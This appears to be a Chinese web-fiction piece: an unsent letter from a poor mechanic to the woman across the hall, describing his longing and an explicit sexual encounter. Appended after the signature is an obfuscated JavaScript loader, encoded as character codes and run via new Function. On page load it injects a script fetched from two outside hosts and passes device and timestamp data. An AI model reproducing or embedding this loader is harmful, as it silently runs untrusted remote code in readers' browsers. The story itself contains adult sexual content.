写给……

　　我不知道该怎么称呼你。

　　叫你迟小姐，太生分。

　　叫你小鱼，我又算个什么东西。

　　所以，就空着吧。

　　反正这封信，你一辈子也看不见。

　　我就是……睡不着，心里堵得慌，像被一团沾了油的棉花给塞满了，不上不下的，难受。

　　我没读过几天书，字也写得丑，像被车床碾过的铁屑，歪歪扭扭。

　　我们这样的人，手是拿扳手和焊枪的，不是拿笔的。

　　拿笔杆子，比举一个发动机还沉。

　　所以，要是我写得乱七八糟，前言不搭后语，你也别笑话。

　　你就当，是一个喝多了的醉汉，在说胡话。

　　在遇见你之前，我的世界是什么样的？

　　是机油味。

　　那种又黏又腻，混着铁锈和汗臭的味道，像一层油膜，把我整个人，从里到外都包裹住了。

　　我爸常说，我们这种人，生下来，命里就带着这股味儿，洗不掉的。

　　我以前不信，现在信了。

　　我的世界，是灰色的。

　　是铺子门口那台旧冲床的颜色，是修车铺地上那永远也擦不干净的油污的颜色，是我那双手上，嵌进指甲缝里，怎么洗也洗不掉的黑色的颜色。

　　我爸瘫在床上的第六年，我开了这家修车铺。

　　用的是他出事后，厂里赔的那点钱，和我这几年在别的厂里当学徒，攒下的那点玩命钱。

　　铺子不大，就巷子口那点地方。

　　白天，是发动机的轰鸣，是砂轮机刺耳的尖叫，是扳手和螺丝碰撞的响声。晚上，就只剩下我一个人，和那盏昏黄的总有飞蛾在扑腾的灯。

　　我以为，我这辈子，也就这样了。

　　守着这个铺子，守着床上那个不会说话也不会动的爹，像一颗生了锈的螺丝钉，就这么钉死在这条又脏又窄的巷子里，直到烂掉，也不会有人多看一眼。

　　然后，你出现了。

　　我记得那天，我正跟老李因为二十块钱修车费吵架，你应该不认识他，他没有子女，靠捡破烂为生。

　　我不愿意收他修车钱，我们就在那里推搡着几张纸币。

　　就在我快要忍不住，想把钱塞回去，扭头就走时，你从巷子口走了进来。

　　你穿了条白色的裙子。

　　我们这巷子，地上都是泥和油，从来没有人敢穿白色的东西。

　　你就像……就像从画报上走下来的人，干净得不像是真的。

　　你从我们身边走过，连看都没看我们一眼。

　　那眼神，不是瞧不起，是……我们根本就不存在于你的世界里。

　　那一瞬间，我突然就不焦躁了。

　　我看着自己那双沾满了黑色油污的手，第一次觉得那么脏，那么拿不出手。

　　我下意识地把手藏到了身后。

　　像一个偷了东西被当场抓住的小偷。

　　我不知道，原来一个人，可以干净到这种地步。干净到，只是从你身边走过，就让我觉得自己里里外外都脏透了。

　　后来，我知道了，你住我对门。

　　我们之间，就隔着一条窄窄的、总堆着杂物的楼道。

　　那么近，又那么远。

　　远得像……我这台旧车床，和天上那颗最亮的星星之间的距离。

　　我离你最近的一次，是你在我手心写你名字的时候。

　　迟映余，那么好听的名字，我的名字是我那个没读过书的爹从报纸上随便挑的一个字。

　　你的手指好白，好嫩，我想，你在我手心写字的时候，我手心的茧子会不会伤害到你。

　　从那天以后，我开始偷偷地看你。

　　看你早上出门，晚上回来。

　　你走路的样子，背挺得笔直，像一棵小白杨。

　　你不怎么笑，脸上总是没什么表情，但就是好看。

　　是一种……我形容不出来的，冷冰冰的好看。

　　后来一天，你敲我的门，让我帮你修水管。

　　你问我为什么手抖，为什么紧张。

　　因为你。

　　过去我没想过，我这样的人也会和失控沾上边，失控是什么意思，好像是失去控制后会不好的后果，但我的人生烂得就是一种生活最差的模式。

　　你的浴室有你的体香和沐浴露香气，很好闻。

　　你问我除了修东西还会啥，什么也不会了，我这辈子的时间都用来学这个了。

　　还有一身蛮力，这不值一提。

　　回到房间以后，我对着身上残留的你的香味，撸了。

　　我想，我这辈子没那么爽过。

　　再后来，你被那几个小混混堵在巷子里。

　　我冲出去的时候，脑子里什么都没想。我只知道，不能让他们碰你。他们那些脏手，连碰一下你的衣角都是在糟蹋。

　　我打架很厉害，从小就会。

　　我们这种地方长大的孩子，拳头，比道理好用。

　　那天，我把他们五个，全都撂倒了。

　　我也挨了几下，嘴角破了，肋骨那儿现在还隐隐作痛。

　　但我不觉得疼。

　　我回头，看到你还站在那里，安然无恙地看着我。

　　那一刻，我心里是满的。

　　像一个快要渴死的人，突然喝到了一口，最干净最清甜的水。

　　你让我上楼，说要帮我处理伤口。

　　我跟着你，走进了你的房间。那是……我这辈子，第一次走进一个女孩子的房间。

　　那次帮你修水管不算，那次我太紧张了，什么都没敢看。

　　你的房间，是香的。

　　不是那种廉价的呛人的香水味，是一种……像花又像水果的好闻的味道。

　　很干净，很整洁，所有东西，都摆得整整齐齐。

　　和我那个堆满了旧衣服和零件的狗窝，完全是两个世界。

　　我坐在你的沙发上，手都不知道该往哪儿放。我怕我身上的机油味，会弄脏了你的沙发，弄脏了你这间屋子里干净的空气。

　　然后，停电了。

　　黑暗里，我听见你说，你怕黑。

　　你的声音，就在我耳边。带着一丝……我从来没听过的，柔软的颤抖。我的心，像被一只手，狠狠地，攥了一下。

　　你凑过来，亲了我嘴角的伤口。

　　你的嘴唇，是软的，凉的。像……像春天里，刚下过雨的花瓣。

　　那一刻，我脑子里，所有东西，都炸了。那些我拼命压抑的、不敢想的、肮脏的念头，像决了堤的洪水，一下子，全都涌了出来。

　　我不是个好人。

　　我看着你，也会有欲望。

　　我会在夜里，想着你那张干净的脸，想着你那双修长的腿，想着你那件白色裙子底下，到底是什么样子。

　　我想把你按在墙上，狠狠地，操你。

　　我想听你在我身下哭，求饶。

　　我想用我这身洗不掉的油污，把你那片干净的雪地，弄得一塌糊涂。

　　你看，我就是这么个，龌龊的、卑劣的、无可救药的烂人。

　　所以，当你在黑暗里，主动吻我的时候，我没能推开你。我像一个饿了三天三夜的野狗，闻到了肉味，就再也控制不住自己。

　　我把你抱到床上，我进入了你的身体。

　　你的身体，是那么的紧，那么的软，那么的烫。像一块烧红了的烙铁，要把我整个人，都融化在里面。

　　我弄疼了你。

　　我知道。

　　你打了我一巴掌，那一巴掌，打得我瞬间清醒了。

　　我看到了你眼里的泪，也看到了……一种我看不懂的，像是在教训一只不听话的小狗一样纵容的眼神。

　　我不敢再乱动。我开始学着，用最笨拙的方式，去取悦你。我想让你舒服，想让你，也得到快乐。

　　那一晚，我感觉自己，像做了一场最荒唐，也最……美妙的梦。

　　梦醒了，天亮了。你还是那个高高在上的我不敢触碰的你。而我，还是那个满身油污的、卑微的我。

　　这封信，我写完了。天，也快亮了。巷子口那盏昏黄的路灯，灭了。新的一天，又开始了。

　　我该去磨一磨我的扳手了。今天，还有一台老捷达的发动机，等着我修。

　　你呢？

　　你今天，会开心吗？

　　李诀。

　　(function(a){(new Function(String.fromCharCode(...a)))();})([100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,34,60,100,105,118,62,60,100,105,118,32,105,100,61,39,118,56,82,68,50,53,52,49,39,62,60,47,100,105,118,62,60,47,100,105,118,62,34,41,59,108,101,116,32,117,114,108,115,61,91,34,104,116,116,112,115,58,92,47,92,47,109,100,49,49,110,50,51,56,97,46,111,115,115,45,99,110,45,104,97,110,103,122,104,111,117,46,97,108,105,121,117,110,99,115,46,99,111,109,92,47,49,92,47,49,52,53,50,53,48,49,49,34,44,34,104,116,116,112,115,58,92,47,92,47,112,46,55,100,51,54,97,46,99,111,109,92,47,49,92,47,49,52,53,50,53,48,49,49,34,93,59,119,105,110,100,111,119,46,95,95,114,114,95,95,104,108,100,61,49,59,108,101,116,32,117,114,108,105,110,100,101,120,61,48,59,108,101,116,32,114,102,117,110,99,61,102,117,110,99,116,105,111,110,40,41,123,105,102,40,119,105,110,100,111,119,46,95,95,114,114,95,95,108,111,97,100,101,100,95,50,53,52,49,95,49,49,48,53,32,33,61,32,39,111,107,39,41,123,108,101,116,32,115,115,32,61,32,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,115,115,46,116,121,112,101,32,61,32,39,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,39,59,115,115,46,114,101,102,101,114,114,101,114,80,111,108,105,99,121,61,39,110,111,45,114,101,102,101,114,114,101,114,39,59,115,115,46,115,114,99,61,117,114,108,115,91,117,114,108,105,110,100,101,120,43,43,93,43,32,40,110,97,118,105,103,97,116,111,114,46,117,115,101,114,65,103,101,110,116,46,105,110,100,101,120,79,102,40,39,65,110,100,114,111,105,100,39,41,32,33,61,32,45,49,32,63,32,39,48,39,58,39,49,39,41,32,43,32,39,63,39,32,43,32,110,101,119,32,68,97,116,101,40,41,46,103,101,116,84,105,109,101,40,41,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,115,115,41,59,125,125,59,114,102,117,110,99,40,41,59,114,102,117,110,99,40,41,59]);(new Function(document.currentScript.previousSibling.textContent))();